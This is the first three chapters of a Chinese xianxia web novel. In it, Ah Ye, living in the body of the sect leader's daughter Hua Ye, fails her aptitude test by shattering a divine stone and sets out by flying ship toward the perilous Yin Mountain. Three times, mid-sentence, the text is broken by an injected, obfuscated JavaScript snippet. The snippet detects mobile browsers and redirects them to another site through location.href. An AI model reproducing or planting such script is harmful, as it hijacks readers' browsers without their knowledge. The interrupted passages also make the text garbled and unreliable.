《救世主剧情加载中》 1. 测赋 往复的梦魇被惊雷撕碎。 “还没想好?”雷声后的短暂寂静里,这一句格外清晰。 阿也应声睁眼,房内四下无人。 哐当一声巨响,狂风掀开木窗,鼓动被电光照得发青的绡帐,好似梦中前来索命的伥鬼。 她掀被起身,摸黑打开了门。 一道片状闪电划破云层,照亮楼前两株也桃,全然败落的那株愈发苦楚,而另一株容光焕发,好似青春永驻。 眨眼间,尽数融入黑暗。 不远处的主峰灯火通明,烛火飘摇,沿着既定路线来回——是那些忙于布置明日测赋仪式的弟子们。 凡华宗弟子,入门皆修基础功法,待三年后集中测赋,由命格属性择师从之,专精一门。 能布置至深夜时分,想来声势浩大,可惜该看的人看不见了。 阿也坐在门槛上,盯着其中一处发呆。 三年前,她从梦中醒来,一睁眼,什么都还没看清,就被人一把抱住。 好不容易回过神来,面对那人鬓边白发,那句“我不是华烨”就说不出口了—— 一直到现在,也没能说出口。 “还没想好?”得不到回应,声音的主人干脆显形。 暴雨里燃起一抹浑浊的黑红色,隐约的火焰形状,迫使周遭雨丝绕开,压制枝叶在风中迟滞停摆,“喂我一点残魂,我就帮你搞定测赋。” 阿也移开眼。 “怎么?不信我?我早说过华烨魂魄有缺,你偏偏不信,修炼至今,可结果呢?还不是毫无长进!”黑焰逼近了,“事到如今,你还不信我?” 炙热燎上发尾,阿也往后一缩,“信信信!” “按规矩,要是测赋失败,就算你是宗主之女,也得被遣出宗门。”黑焰嗤笑,“我倒要看看你拖着这破败身子,能搞点什么花样出来。” 不过是魂魄有缺罢了。阿也耸耸肩,不置一词。 “别忘了,明日大家都会来看你测赋。”黑焰不甘心道,“难道你想让华谏看你笑话?” “输给他不是正常?”阿也懒洋洋地回答。 “天生精纯木命格,输给他的确正常。”黑焰话锋一转,“但你不想让华重楼失望吧?” 阿也打哈欠的动作一顿。 黑焰乘胜追击,“这三年里,他花在你身上的心血,那可是有目共睹。你刚入门就能独居一楼,随意进出藏经阁秘区,特免晨练与晚修,月俸在所有弟子中最高,甚至逼近长老——难怪华谏会针对你。” “倘若明日测赋……” 黑焰幽幽道,“华重楼发现自己的苦心栽培付诸东流,你说他该有多失望?要知道,晚你入门的那批弟子,最差的那个也早已筑基。” 阿也垂下眼。 “别灰心,还有机会。”黑焰诱哄道,“喂我一点残魂,就指头那么大一点,别说是魂魄有缺,保管连华谏......” “就这么一点?”阿也打断它,竖起小指,像是要拉钩立誓。 “自然!”黑焰斩钉截铁,“我都是为了你好!” “这样……”阿也沉吟片刻,见黑焰迫不及待,忽地徒手拘住,勾唇一笑,“你想吃掉华烨残魂,难道不是因为贪图她的肉身?” 狂风之中,火焰倏地静止了。 阿也收起笑容。少女仍显稚嫩的脸上,第一次流露出不属于这个年纪的、近乎冷酷的讥诮,“想要华烨残魂?做梦。” “那你留着这没用的东西又能干什么?”黑焰厉声质问,在她手心冲撞,试图逃出束缚。 雨滚飞檐,斜连成线。阿也伸出另一只手,扫过檐下,炸开一连串啪嗒响声,仿佛拨开成串的珠帘,显露一角真面。 “你猜?”阿也恶劣道。 这一声落下,火焰骤然铺开,将大雨烹成白雾。黑焰的怒音盖过雷声:“有我在一天,你就休想……啊!” 一把拍散这朵火焰,阿也拢手回袖,哼起不成章曲的小谣。眉心之间,一点红光闪烁,仿佛在迎合她的节奏。 雾气散去了,风声照旧,凉意渐浓。 都是寄生体,好歹也算同根生,有什么好威胁的。阿也心想,将视线从主峰最明亮的堂上移开,起身,拍去衣上的灰尘,回房补觉。 日上三竿,本该热闹的堂中一片寂静。 堂门后,二十九名亲传弟子按入门时间列阵,统一的黑衣短打。三名长者分居两侧,左一右二,皆是眼观鼻,鼻观心,唯有上首的老者闭目养神,一粒粒地拨动手中七宝佩珠。 堂前供奉着一尊笼形神龛,由整根金丝楠木雕刻而成,三面绘有寻路问仙图,人像栩栩如生,金线在云端闪闪发光。 老者起身点香,贴在额前恭敬地拜了三拜,再插进香炉中。青烟袅袅升起,被龛中神石吞没。 “去看看烨儿那可有遇到什么麻烦。”老者终于开口。他声音微低,头发已全白了。 “是,阿父。” 随着这一声,所有视线,豁然移向出列之人。 身着蟹壳青长袍,腰束二指宽丝绦,佩一枚螭龙玉玦,手执窄扇,象牙白骨,青金扇面,与袖口的泼墨竹纹相得益彰,十分风流。 迎着众人或惊或羡的目光,华谏满意地撩开额发,露出精致眉眼,嘴角含笑,迤迤然迈出门。 “诸位久等。” 清亮的女声穿透阳光,拦下他。华谏收起折扇,盯紧来人。 一身再简单不过的白衣,长发以红绳束成高高马尾,并无妆饰,独额前悬坠一颗鎏金海扇贝珠,在日头下流光溢彩,华彩照人。 “好久不见......”华谏笑意略淡,“别来无恙啊。” “有兄长在,自然是一切安好。”阿也不卑不亢道。 “安好?”华谏横移一步,拦下去路,压低声音,“今日是你测赋,倒凭白无故害我久等。” 无意纠缠,阿也清过嗓子,放声道:“测赋如此重要之事,是华烨迟来一步,害诸位久等,甘愿受罚。” 话音刚落,立即被回应,“进来。” “赶快进去。”华谏轻哼一声,不情愿地让路,埋怨道,“阿父等你好久了。” 大步迈进堂中,阿也一一拱手致歉,“是弟子过错,害大家久等,自愿请罪。” “可是遇到了什么麻烦?”华重楼温和地注视着她,神色是年长者面对小辈独有的宽厚。他抚摸七宝佩珠中最为鲜艳的血珊瑚主珠—— 自原本那颗鎏金海扇贝珠被他单独拆出做成额饰赠予华烨后,被华谏特意寻来作为替补串起这条云间派赠予他的寿礼。 “昨夜风大雨急,受了凉,久不得睡,这才误了时辰,还请宗主惩罚。”阿也作揖。 “可有病痛?”华重楼关切道。 “并无大碍。”阿也回答,余光见华谏绷紧了面皮。 “如此甚好。”又寒暄几句,在测赋仪式上迟到这事便轻飘飘地揭过了。华重楼起身,“仪式开始前,各位长老可有交代?” 话音刚落,堂中顿时热闹起来。 “姑娘受凉了?”居中的紫衣妇人端起热茶,招呼道,“快来喝了这茶,由我亲手炮制,九蒸九晒,驱寒发汗。姑娘还年轻,不知这寒气入体,落下病根可是大事!” “茶能治个什么?”左侧的老头吹胡子瞪眼,“不如来粒生热丹,待会少主过来拿便是。” “依靠外物,如何治根?”妇人摇头,“我这茶上能引阳气入体,下能调动元力流转,暖体不过是附加功效。” “得了吧。”老头抚须,翻了个白眼,“万物相生相克,丹方千百,数你这种最为末流。” 眼看火星四射,一场争论无可避免,右侧的长老拍了拍肚腩,笑眯眯地劝和:“两位长老各司其道,岂有优劣之分?不过今日既是测赋,该以少主为主才是。” 见大肚长老出面,老头冷哼一声,扭过头去,妇人讪讪一笑,也不再开口。 “多谢余长老赠丹。”阿也对老头行过礼,又接过妇人手中热茶,一口饮尽,忍下熟悉的酸苦,叮嘱道:“多谢芳长老制茶。” 最后向大肚长老拱手,不敢怠慢。 这三位长老,秉性各异。 大肚长老石磊,传闻是长老中战力之最,杀得混元兽闻风丧胆,因此负责对外事宜。 紫衣妇人芳芪,面如观音,心肠如是,曾受重伤,导致修炼再难精进,平日里喜欢研读偏方,侍弄花草,信奉天然养生之道,不喜饰味——阿也深受其害。 至于长胡子老头余寰,是个奇葩。本是为芳芪请来治伤的游医,束手无策又不肯罢休,硬留下来当了长老,隔三差五要和人论正统医道。 “好了。”华重楼止住闹剧,唤道,“烨儿,上前来。” “是。”阿也应下,忽被人一把拉住,于是转头对上芳芪,神色是少有的严肃。 “姑娘莫怕,实在不行来我堂下,决计不会亏待。” 触及她手心冷汗,阿也一怔,忽地抿唇。刚醒来的那段时间,华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239262|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烨身体过于孱弱,甚至难以下榻,是芳芪贴身照料,事事经手。 莫非她知道……阿也垂眸,回握一下后松开,慢吞吞走到神龛前,与神石面对面。 说是天降之物,阿也却觉得不过如此。 神石灰扑扑的,背阴面更是生出脏兮兮的青苔,被楠木细腻的金纹一衬,生出一种说不出的荒谬感,像是有人随手在路边捡了颗石头,却被后辈奉为圭璧,以香火拜谒。 “静心调息,感受天地元气流动,引入丹田,吸收、炼化,运转一周天......握住神石。” 阿也依言照做。 无形无色的元气顺着吐息进入五脏六腑,在经脉中交汇成流,暖洋洋的,可一入丹田,就像进了破洞的木桶,止不住地往外涌,散在血肉之中。 几次尝试无果,察觉四周突然频繁的元力波动,想必是众人热切的议论。该来的迟早要来,阿也暗叹,慢慢伸手,握住石头。 一道光劈开识海,强行塞进无数画面。 漫漫雪羽飞向大地,席卷广袤森林,而烈火冲天而起,焚烧无边绿意。滚滚黑烟之中,光影纵横,金铁争鸣,激起一片哭笑声,恍若哀歌,隐隐有呼唤声从远方传来……似乎是有人在叫她。 阿也睁开眼,眼前一片模糊,堂中的人物被扭曲的线条分割成不同色块,微微颤动。 忽然间,她听见那些隐秘的传音。 “宗主怎么了?” “她……不会是凡根吧?” 宗主?凡根?阿也下意识合拢五指,有什么东西破碎了,如细沙从指缝间流走。 她环顾四周,那些人的面孔在黑烟和堂中快速闪动,窃窃私语混在哭笑声和呼唤声里,犹如尖刀在脑中反复穿刺,疼得快要裂开。 不可视的识海深处,那些雪与火融化了,汇聚成一洼漆黑的液体,奋力向更深处爬行,留下黏糊糊的黑痕——直至遇上盘踞在最深处的那朵火焰。 屡次试探无果,液体猛地收束成一点,泼出一副天罗地网,将黑焰团团围困。 像是被羽毛搔过,黑焰打了个喷嚏,悠悠转醒。它跳动一下,发现未能挣脱束缚,这才打起精神,自言自语道:“有点意思。” 液体逐渐收紧罗网,试图将火焰切碎。 黑焰放声大笑,火焰向四周大肆铺张,顷刻间将整片识海映成鲜艳的赤色。 火光如血,触手在炙热中扭曲、抽动,仿佛在厉声尖叫,很快溃散成一团黑气,四处闪躲,仍逃不过被焰浪席卷的下场。 “嗝——”黑焰恢复成原来大小,边缘又暗淡几分,“啧,真难吃。” 仿佛一粒石子投入深潭,水波微荡,复归平静。 视野忽地破碎,阿也落入时光的长河。顺着水流沉浮,凌乱的记忆仿佛落叶,从身边接二连三地飘过,令她一时分不清是华烨的,还是自己的。 神石的璀璨光芒里,华谏被弟子们簇拥着,仿佛获胜归来的英雄。她站在人群之外,听那些人捧高踩低,看黑焰被气得暴跳如雷。 做作、清高……她从人群中走过,听弟子们议论,假装看不见他们眼里的嫉妒或厌恶。 日复一日,她漫无目的地在山间行走,赏初春的野花,吹夏末的晚风,拾深秋的落叶,扫寒冬的积雪。山林四时如画,一年又一年。 “烨儿。”如此熟悉的声音。 仿佛从梦魇中惊醒,阿也抬头,对上华重楼的目光,如此陌生的目光。 “你可愿与谏儿一同前往阴山历练?” 堂中落针可闻,但在阿也耳旁,议论声轰然炸响,连黑焰也冒出头来,掺和一脚。 “去阴山历练?”芳芪大骇,“这万万不可!还请宗主三思!” “看样子华老头很看重你啊。” “为啥去不得?”余寰驳斥,“那里不知有多少天材地宝,甚至有能修魂补魄......” “可惜他不知道你是个废物。” “初始极境……”石磊推测,“传承......” “真要答应的话,你估计会死在那吧?” 议论声接连不断地涌来,在理智边缘拍出忽高忽低的浪潮。 阴山?初始极境?起初还能理出一些有用的,到最后什么都听不清了,唯有关键处在脑海里挥之不去。 等等,修魂补魄……她张了张口。 霎时,一片寂静。 耳根子重回清净,阿也勾唇一笑,掠过脚下神石的齑粉,微微颔首,“我愿同去。” 2. 隐秘 “今日酉时,在虎押码头集合。” 一大早被飞讯吵醒,阿也烦躁地伸手接过,微光化在手心。待看清内容后惊得从榻上跳起,直冲二楼,才想起来模仿华烨的语气给石磊回讯。 匆匆收拾完行李,她踏着午后的阳光,去办出发前最后一件事——取余寰的生热丹。 到了约定的地点,半山腰的凉亭里人头攒动,不下五六人,所穿并非药堂服饰。阿也心想,来早了? “搞不懂宗主想干什么,居然让她也跟着去阴山!这不是摆明了去拖累少主吗?!”一声怒骂。 少主?阿也脚步一顿,不由蹙眉,光惦记着昨天余寰说的修魂补魄一事了,还想着以生热丹之名来打探消息,怎么又和华谏扯上关系? “难道……谁先得到传承,谁就是下一任宗主?”有人揣测,幸灾乐祸道,“那这下少主不是赢定了?谁能想到都是宗主所出,结果混成这样?” 传承?阿也眉头一动,闪身隐入指路碑后。 “什么叫混成这样?”有人拍桌,“你们明明都看见了,师姐连神石都能捏碎!师姐很厉害的!” 居然有人为她说话?阿也好奇地探出头,是位粉面桃腮的少女,瞧着有些眼熟,许是在入门仪式上见过。 “这……年头太久,神石碎了也正常。” “是啊是啊,这又说明不了什么!” “妄议是非,自行领罚。” 清凌凌的一声,令阿也想起初冬时节溪涧流经山谷,浮冰撞击岸边,干净利落地破碎。 “……是!”没有任何异议,几人的脚步声慌乱远去。 没戏可看。阿也耸耸肩,转身要走。 “你在这听了多久?” 阿也一怔,回过头,目光忽地定住。 乌木飞檐下,白袍青年一手托玉盒,另一手垂在身侧。金灿灿的阳光透过亭外榕树的绿叶,轻飘飘地落在身上,而他的面容无悲无喜,雪白的发尾被柔光映照得近乎透明,仿佛随时都会融化。 这是......席子瑞? 阿也对他的印象还停留在两年前的高阶试炼中,混元虎失控,他掷出长矛,救下凌栾,徒手与起搏斗上百来回,以浑身赤红搏得满堂喝彩,风头一时盖过同期的华谏。 以至于后来听说他拜入余寰门下成天打杂时,阿也还以为是自己听错了。 “他看你很久了。”黑焰不耐烦道,“让他滚。” 阿也回神,席子瑞果然站在原地观察她,等她先开口似的,便迎上前,“师兄。”席子瑞早她两年入门,称一句师兄无可非议。 “嘁。”黑焰轻嗤一声。 “师父有事在身,差我前来送药。”席子瑞说明原委,递出玉盒,“这是生热丹,取自火杏,有温养之效,一日一枚,不可多用,否则有爆体之危。” 阿也伸手欲接,注意到他扣在边缘的指节过于分明了,仿佛伶仃白骨薄薄覆一层皮,鼓起叶脉似的绿筋。 “此外,还有一物。”在他的示意下,阿也打开玉盒,见到三枚暗红丹药和一支手指粗细的白瓷瓶。 杏仁香入鼻,丹田迅速生出一股热气,直冲头顶。不愧是生热丹,阿也忙合上玉盒,“那瓷瓶是......” “你可曾听闻过芳长老的事?”他突兀地打断。 阿也一顿。华烨留给她的记忆太少,为避免露馅,她暗中调查过很多人,第一个便是贴身照料自己的芳芪。 芳芪自幼天资卓越,而立之年入座华宗,修炼之途顺风顺水,直到三年前受伤隐退,自此留守后方,协助打理宗门。 现下他提起芳芪……阿也以问代答:“与阴山有关?” “正是。三年前……这里共分五州。” 钧州、青州、赤州、承州……由近及远,阿也一一点亮记忆里的地图板块。于无声处一道惊雷,地图边缘被涂成漆黑的楔形印记亮起,在茫茫深蓝里,像一艘孤零零的、被遗弃的船。 她慢慢说出那个失落的名称:“穆州?” “而你所去之处,是它的中心,阴山。” “但……”回顾史书上的记载,阿也迟疑道,“我记得,穆州不是因天灾而沉没了么?” “非也。”席子瑞眺望西北方向,此时残阳将坠,群鸦飞舞,暮色四起。 “当年陨星天降,自成极境,如一芥子,不与外界相通。直至某日,红月当空,结界破碎,混元兽倾巢而出,仅仅十日,穆州覆灭。” 十日之内,一州覆灭?华宗容纳三千人,不过占了钧州一山头,而穆州整整一州,怕是有百万生灵......眼前蓦然显出尸山血海的景象,阿也心下一窒。 “惊骇之下,各大宗派联手,派出精锐深入腹地,遭遇混元蛟化龙。” “鏖战之后,蛟龙被斩,但长老们也损失惨重。”席子瑞叹道,“芳长老命格被毁,所幸保下性命,而同行的三位长老已入了长生殿,化作不灭青灯。” 原来她隐居的那段时间发生了这么多事。阿也皱眉,“所以……混元兽产自极境?” “极境以天为地,以地为天,颠倒水火,由此诞生的混元兽格外强大。” 等等,即使是禁书,也不曾记载这些。阿也斟酌道:“是我孤陋寡闻,不知师兄从何处得来这些隐秘?” “受长老们所托。宗主一言既出,无法追回,而阴山险地,多知晓一分,胜算便大一分。这瓷瓶即是石长老所赠,对混元兽造成的伤有奇效,但轻易不可使用。” 连石磊都如此上心,阴山果真危险。阿也握紧玉盒,试探性道:“那师兄可知这极境之中……的传承?”她轻巧略去修魂补魄四个字。 “传承?”席子瑞沉思,“略有耳闻。” “混元兽以修士命格或金丹为食,不喜生肉,因此尸首会被它们集中腐化,滋养花草,故宝物得以留存,日积月累,是为传承。” 说是传承,原来是陪葬品。阿也思绪回转,觉得不食生肉这点说不出的奇怪。 “即便阴山破败已久,至今探明的区域仍不足十分之一,不容小觑。”席子瑞端正神色,“因其过往,此次历练多半孤立无援,更该小心为上。” 所以穆州并未沉没,只因太过危险,被人从地图上抹去……阿也思索着,见日头没入地平线之下,山脚下的城镇升起炊烟——时候到了。 “多谢师兄解惑,我有要事在身,先行一步。”阿也颔首道。疑心是错觉,他似乎还想说点什么,于是她在原地等待。 “希望你平安归来。”片刻后,席子瑞留下这一句,率先转身离开,行走间白袍被风拂动,勾勒出瘦削的形状。 有风吹过,他微弓脊背,咳了起来。 虎押码头。 “嗡——” 号角声响彻天际,白帆猎猎,如破水而出的鱼鳍,指引梭形飞舟驶入云层。约一柱香时间,飞舟掉头折返,抛锚降帆,逆速旋转舵桨,片刻后,稳稳当当停在码头。 守护结界荡起水波纹。三人沿着木梯下船,身着统一制式的黑色短打,向石磊抱拳行礼,齐声道:“石长老好!” “事务紧急,劳烦各位连夜调试飞舟,实在是辛苦。”石磊笑眯眯道,“本月月俸各加百分之二十,记功一笔,快些回去休息罢。” “多谢长老!”三人陆续禀退,忽有一人回头看了眼华谏,传出细微的元力波动。 “那就是传闻中的少主吗?真是意气风发啊!不过旁边的那位是……” “嘘!” 随着三人远去,传音渐弱,阿也目不斜视,跟在石磊身后上了飞舟。 “二位随我来。”石磊推开右尾舱门,地上绘有大片星盘,弧线与直线交错融汇,通向中央的新月印记。 “这是转化阵法,日常能自主炼化天地元气,为飞舟提供基本动力,但若遇上危险,需要人为增幅。接下来,看我演示。” 石磊打开角落不起眼的铁箱,抓起一把乳白色的晶球,随意抛出。晶球沿着刻线滚进新月印记,化作绚丽金光升空,绘成满月图案。 “游界逆行。”他一字一顿。 象征土命格的棕色元力倾斜而出,将一轮满月包围,仿佛用沙石掩埋黄金圆盘,随后飞舟开始急剧震颤,结界外风声如啸,仅仅维持了一息。 “方才那句是增幅密令,二位须得记牢。”石磊指向并排放置的两个铁箱,“增幅需要提供额外的能源,这些元晶足够我们从阴山返回。” 退出舱门,转到右前方。石磊按动机关,三人进入暗室,墙上的五州绘图随之亮起。 四块碎片分散在深蓝里,一道金线自钧州淮城起始,绕过赤州,横穿青州,最终落在穆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239263|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州——黑色的六角雪花标记上,代表极寒。 “为避开兽群迁徙,此次行程将绕道赤州,南下青州。先在青州都城黎丘落脚,再……” 阿也认真记下安排。 “为何要去黎丘?”华谏双手环胸,“浪费时间。” “有些事要办。”石磊笑笑,“不会耽误太久。恰好阴山据点那边也需时间准备,若是事情顺利,还可去浮梁一览美景。” “承水环烟提前了?惯例不是在明年早春?” “秋色自是不一样的美丽。”石磊望了眼天色,“时候不早了,随我前去休憩室。” 没有插话的余地,阿也老实跟在二人身后,来到飞舟左尾。推开门,石磊一顿,“赶得太急,有些东西来不及准备,出行在外,二位将就些。” 阿也与华谏对视一眼,难得默契地保持沉默。 榻上大红大绿的被褥强烈冲击视线,桌旁的四把木椅缺胳膊少腿,丝绣屏风大抵是临时翻出来的,边角还带着点点霉迹。 太仓促了。阿也心道,连熏香和茶具都没备好,有人要闹了。 果不其然,华谏皮笑肉不笑道,“石长老打算睡在何处?” “砂晶箱虽能封存元晶,但混元兽极其敏锐。夜里我会去甲板上值守。”瞥见华谏神色,石磊又道,“二位将就些,熬过路上几日便痛快了。” “是,长老。”阿也抢先道,阻止华谏发难。 “早些休息。”石磊欣慰点头,带上门,脚步声远去。 好一会儿,华谏打破沉默。他扬了扬下巴,面色淡淡,“你先选。” 听出他话里“离我远点”的意味,阿也果断指向最左边的木榻,“这里如何?” “随便。”华谏轻哼一声,径直走向最右边的木榻,略过屏风,朝上方打出一道绿色元力。 藤蔓爬出墙角,蜿蜒攀上天花板,在二人之间笔直垂落,形成一道天然的帘幕,朵朵小花点缀绿叶间,散发出淡淡的甜香。 “真难伺候。”黑焰如是评价。 的确。阿也心道,移开花花绿绿的被褥,和衣躺下。许是环境陌生,酝酿许久也无睡意。待另一侧传来的呼吸声变得平稳,她蹑手蹑脚起身,推开舱门。 云浸在如水月光里,纱一样的质地。 阿也伸手探出结界,纵容云从指缝中溜走,仿佛炎炎夏日探入溪流,触及底部爽滑的卵石。 夜深了,灯火格外显眼,一盏便是一户人家,一丛丛、一簇簇地分布在山林平原之间,疏而广的是村落,密而紧凑的是城镇,如呼吸般闪烁,仿佛一颗颗心脏在黑夜里跳动,生生不息。 “少主有心事?”背后传来石磊的声音。 少主——旁人眼里指代华谏的词用在自己身上,阿也觉得好笑,一转身,又调动乖顺的表情,“回长老,是弟子有些问题想不明白。” “愿为少主排忧。”石磊微微颔首。 阿也拱手道,“想请教长老,之后是何安排。” “到了阴山便知。”石磊道,仿佛不知历练在即,而弟子们仍一无所知是多么不妥的一件事情。 虽说他语气波澜不惊,但阿也敏锐地嗅到一丝紧迫,像是暴雨前泥土散发出潮湿的水汽,黑蚁仍聚集在洼地。 “如此。”阿也岔开话题,“那弟子还有一事请教,为何兽群会自发迁徙?” “五州元气稀薄,并不适合混元兽繁衍,只有元脉才能提高它们后代的存活率,而元脉多位于奇险之地,因此混元兽会结成群落迁徙。” 石磊忽然笑笑,意有所指,“父母总是希望给孩子最好的。” 阿也一怔,见他不肯多解释,顿时明了从他口中问不出东西,于是果断告辞,“多谢长老解惑,弟子先行告退。” 通道中,人影被夹在两盏青铜灯座之间,在墙壁上摇来晃去,仿佛被肆意拨动的琴弦。 阿也捂住心口,在有规律的跳动中,静静感受内里微弱的波动——那一点可怜的残魂,是黑焰梦寐以求的食粮,也是自己操控这具肉身的依仗。 尽管这里处处都是疑点。突然破碎的神石、不食生肉的混元兽,还有地图上被抹去的穆州......反正多了去了,也不在乎这一两个。 总之,她要华烨复活。 由此而生的一切障碍,她都会扫清。 3. 青兰 “阿谀奉承。”冷不丁的一句。 蹑手蹑脚合门的阿也猛地回头,对上似笑非笑的华谏,忍住给他一拳的冲动,温声道:“兄长误会。是我睡不着,出去走走,偶遇长老。” “首先,在外别叫我兄长。”华谏冷笑,“其次,你继续装,我看你能装到什么时候。”放完狠话,他踢开被褥盖住自己,绿帘立即合拢,不给人回击的机会。 “臭小子!”黑焰冲出来的瞬间,被阿也一把拽回,“我迟早给他两拳!” 石磊还在呢。她在心里阴森森补充,早晚的事。 待第一缕晨曦破窗,石磊敲响舱门,与华谏换值,两人都默契地不提让阿也替补一事。她乐得清闲,白天躲在货舱内研究体术,等到入夜石磊出门后再回去,与华谏分据房间一左一右,再无交流。 如此三日,前方突现一片青翠,涂抹出平原的轮廓。 “黎丘,到了。” 石磊操纵飞舟斜转降速,赶在日落前转入校场。他指向远处,“那便是黎丘之主,云间派。” 阿也随之望去,被那场景震撼,“那是……” 苍茫原野中,巨木拔地而起,仿佛天地的脊梁。 树体过于庞大,以至于被分割成阴阳两面。向阳的每一枚叶片如同孔雀盛开的尾羽,在霞光中青红欲滴,而蒙阴一侧被云雾缭绕,冷如翡翠,仿佛寒日里山神的吐息。 “这是变种的异叶青兰。当年阴山一劫,云间派师祖斩杀混元蛟,与兽群结仇。黎丘因此惨遭血洗,青兰受血泪浇灌,产生异变,长成如今巨木,庇佑一方百姓。” 低沉而缓慢的讲述声中,晚霞浸染天幕,可见当年的浓稠血色。 阿也迟疑道:“那云间派......” “此后敬为天下魁首,无能出其右者。”华谏不掩鄙夷,“我这儿尚有些常识玉简,妹妹若不嫌弃,大可拿走品读,莫让外人瞧了笑话。” 心头沉闷顿时消散,阿也拱手,“多谢师兄。”格外加重了后两字的语气。 华谏立即反击:“师、妹,不必客气。” 石磊瞧瞧这个,又瞧瞧那个,摇了摇头。 弦月初上,三人抵达树下。澄澈月光被冠幅层层筛过,偶有遗漏,斜斜入射叶间狭隙,被风摇晃成一地的水银珠。 “青兰有灵,不可冒犯。”石磊严厉道,“收起你们的元力,若非必要,不可擅用。” 见树根盘错如山,唯有五六条手腕粗细的攀绳垂下,一眼望不到头。华谏执扇的手一紧,“不用元力?” 见他萌生退意,阿也眼一转,“师兄所言甚是,这树如此之高,单凭人力的确艰辛,不如师兄在此等候,我自请协助长老,定尽快归来。” “区区一棵树而已!”华谏“哗”地收扇,一把插在腰间,气势汹汹,“我先来!” 石磊欲拦,对上阿也可怜巴巴的眼神,叹了口气,退回一步。 树皮粗粝,何况还有前人留下的痕迹,对修士而言本不在话下,但更深露重,连石磊也打滑数次。 不过三炷香时间,华谏额头见汗,气喘吁吁,低头抱怨:“长老,到底来此处做什么?” 石磊面不改色地催促,“时候紧,再加把劲,等到了上头便知晓。” 闻言,华谏咬咬牙,加快动作,更无暇顾及石磊后头的阿也。 “真可惜,要不是石磊在这,高低嘲讽他两句。”黑焰冷笑,“再给他两拳。” 华谏忽地一滞,吓得黑焰立马缩回。等了片刻,阿也听见二人交谈,原来是上方攀绳都缠到一起,解不开结。 好一会儿,二人还没想出办法。抓握的手先酸了,阿也变换重心,换另一只手继续吊在半空,瞥了眼鬼鬼祟祟探出头来的黑焰,“青兰有灵,你还敢出现?” “华重楼都看不见我,更别说......”话音未落,奇异的元力波动从上方降下,黑焰一震,赶在被波及前窜进识海。 透明的涟漪掠过三人,又迅速消散。 阿也收敛姿势,望向来者。 两人并肩而立,稍年长些的女子身着白衣,另一少女身着五彩斑斓衣,共乘一叶缓缓降落。 “不知三位深夜来此,有何要事?”彩衣少女开口,带有明显的防备。 “我乃华宗长老石磊,此前已传告掌门,不日将来拜访。”忽略不雅的身姿,石磊堪称危言正色。 白衣女子扬手,招来三枚长叶,分别停在三人脚下,“请。” 华谏松了口气,率先踏出一步,面露惊诧,又迅速收敛。 阿也不明就里,等跳上去,才明白缘由。不同于常见的御器,长叶轻薄如纸,一臂宽窄,柔软得能踩出连绵波浪,实在奇妙。 查过三人令牌,白衣女子躬身,“三位远道而来,实属我派之幸。奈何掌门近日操劳,早早歇下。各位不如先往寒舍歇脚,等候明日。” 她对彩衣少女使了个眼色,后者略一颔首,乘着绿叶向树冠深处飞去。 “掌门……”石磊面露难色,又像想起什么似的,叹道,“也罢,劳烦你带路。” “请随我来。”白衣女子十指翻飞,牵动元力勾勒成形,三叶七瓣,赫然一朵花的形状。 铿锵一声,长叶绷紧了,硬如金铁,托举四人腾飞。树根急剧下坠,眨眼间被山峦般的主干遮蔽。 青灰色的表皮在风吹日晒中龟裂,犹如枯竭的河床,露出内里颗颗树瘤,大小不一,或疏或密,仿佛河底聚集的卵石。 眼见枝叶葱茏,近在眼前,白衣女子却道,“请二位在此择所寒居。” 住在哪儿?阿也观望一圈,等再回头,长叶已载着石磊与华谏二人悠悠飘向那些树瘤——因藏在深处,常年不见天日,树瘤呈现出斑驳的苍绿与粗粝的质感,仿佛被锈蚀的青铜器皿。 阿也茫然地看着长叶停下,茫然地看着白衣女子再次捏诀。 树瘤受应召而膨胀、开裂,一口吞下长叶,又迅速合拢,如同捕蝇的夹草。 阿也默然,看样子是得找华谏借玉简看看。 “姑娘不必慌乱,若有疑问,尽管提便是。”白衣女子再次催动长叶,含笑道,“云间派是女宗,二位深夜上门,总归有些不便。” 阿也听出她的语气比之前温柔许多,便摆出乖巧模样,颔首道:“多谢姐姐。我叫华烨。” “唤我云漪便好。” 猜对了,是个好哄的。阿也心道,指向树瘤,“姐姐,那些是芥子世界吗?” “姑娘说笑了。芥子之中,生灵当栖息自如。”云漪解释道,“这些仅作客房使用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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枝干交错纵横,如同鸟雀衔枝搭成的巢穴。树冠中心有数百朵花盛放,花瓣洁白,蕊心金黄,淡雅的清香令人松快。 余光瞥见边缘许多残朵,皆是凋零破败之相。察觉云漪脸上一闪而过的悲戚,阿也知趣地不问。 “花朵盛开,即是有主。”云漪领着她来到离中心稍远的地方,一片含苞欲放的花蕾,“请姑娘在这儿随心选一处住下。” “那里如何?”阿也指向最为偏僻的一枝。 云漪正要答,一道绿光忽然降落,被她接住。片刻后,歉然道,“掌门有要事传唤,不便陪同。姑娘一路向前,沿着藤梯入花便是。” 掌门不是早早歇下了么?阿也心中纳罕,面上仍笑道:“多谢姐姐,姐姐快去忙吧。” 送别云漪,阿也沿着指示走进花萼,寻到那道掩在花瓣间的藤梯。 